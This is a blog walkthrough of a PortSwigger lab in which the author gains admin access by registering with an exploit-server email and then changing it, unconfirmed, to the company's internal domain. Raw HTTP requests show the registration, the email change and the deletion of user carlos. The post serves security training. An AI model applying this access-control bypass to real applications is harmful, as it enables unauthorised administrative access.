Inconsistent Security Controls


A walkthrough of the Inconsistent Security Controls lab on PortSwigger. We register an account using the exploit server's email domain and then simply update our email to use the company's internal domain, bypassing the access controls that restrict admin functionality to employees.

#Description

This lab's flawed logic allows arbitrary users to access administrative functionality that should only be available to company employees. To solve the lab, access the admin panel and delete the user carlos.

#Quick Look

#Main Page

Pasted image 20260531144243.png

If you have been following along with the business logic walkthroughs, you will notice that this one looks fairly different and we have a very different outcome. We have an email client for exploitation and there is a registration function. PortSwigger isn't subtle, we need to utilise this to somehow get access to the admin panel.

#Registration

Pasted image 20260531144431.png

Love the little Marcus Hutchins reference here, actually listening to him talk about WannaCry at this minute, which is some lovely irony for a Sunday afternoon.

#Email Client

Pasted image 20260531144613.png

#Creating an account

We have no account here, no wiener no nothing. So first step, we just need to access the account with an authenticated session so that we can review the security in place. From the description, we know that there is an admin panel that only employees can access, and we can see exactly what email address an employee should be using.

We won't be able to create an account with this, because we need to be able to get a token, which is where the email client comes in. If we use the email domain presented by the client, we can receive the email token and sign in.

#Registering as Danny

http
POST /register HTTP/2
Host: 0a1c005d031305968223b64d0099008d.web-security-academy.net
Cookie: session=37EEcz1mxZSEyfXIP3V7aAYs3sDVHj5N
Content-Length: 140
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0a1c005d031305968223b64d0099008d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1c005d031305968223b64d0099008d.web-security-academy.net/register
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=c1icekOdZB8fAWCe6hzyj1dPGboFQ93l&username=danny&email=danny%40exploit-0a97005b03f405cb82e8b5e0014b00d4.exploit-server.net&password=TEST

#Registration Email

If we reload the email client, we will find an email with these details. Some things that I would want to test on a real app would be if that reset token can be reused, if we can capture the email via the proxy before it hits the email client, if the token could be easily guessed etc etc. I did test some of these elements just to be sure how it worked, but there weren't any obvious vulnerabilities with this, and in fact, I was massively overcomplicating it just due to being curious.

text
Sent:     2026-05-31 13:45:41 +0000
From:     no-reply@0a1c005d031305968223b64d0099008d.web-security-academy.net
To:       danny@exploit-0a97005b03f405cb82e8b5e0014b00d4.exploit-server.net
Subject:  Account registration

Hello!

Please follow the link below to confirm your email and complete registration.

https://0a1c005d031305968223b64d0099008d.web-security-academy.net/register?temp-registration-token=53ddRrw9fbHvxLxzd35Xf2PEf6Eud4Sq

Thanks,
Support team

#Exploiting Domain Based Access Control

The exploit here is actually so simple that it makes you feel silly. Now that we have registered our account we can simply go to our profile.

#Account Details

Pasted image 20260531145605.png

All we have to do from here is change the actual email to use that company domain. Usually, this wouldn't work as applications should wait for some kind of confirmation before changing the email to something arbitrary. When you don't you risk the ability for attackers to easily hijack users accounts, or in this case, bypass protections that limit access to administrative functions.

#Changing email

http
POST /my-account/change-email HTTP/2
Host: 0a1c005d031305968223b64d0099008d.web-security-academy.net
Cookie: session=1F0dicdioVClcNiyyZhekofG1djuhn4j
Content-Length: 68
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0a1c005d031305968223b64d0099008d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1c005d031305968223b64d0099008d.web-security-academy.net/my-account?id=danny
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

email=danny%40dontwannacry.com&csrf=fythLZrSCWx0tjoCPtopv3400o9B5FTd

Pasted image 20260531145920.png

As we can see, just by changing the domain we have completely bypassed the security controls placed to lock functionality to employees of the organisation. This kind of vulnerability isn't particularly common with pentests that I have been a part of. But that is mainly due to tests being on multi-tenanted applications where administrative functions are locked behind granular role-based mechanisms, where a Super Admin would be the same if they were the client themselves or a company paying a large amount of money to use the application as a SaaS product.

#Accessing the Admin Panel

Pasted image 20260531145948.png

Now that we have access to the admin panel, we will simply delete carlos and complete the lab.

http
GET /admin/delete?username=carlos HTTP/2
Host: 0a1c005d031305968223b64d0099008d.web-security-academy.net
Cookie: session=1F0dicdioVClcNiyyZhekofG1djuhn4j
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1c005d031305968223b64d0099008d.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Pasted image 20260531150015.png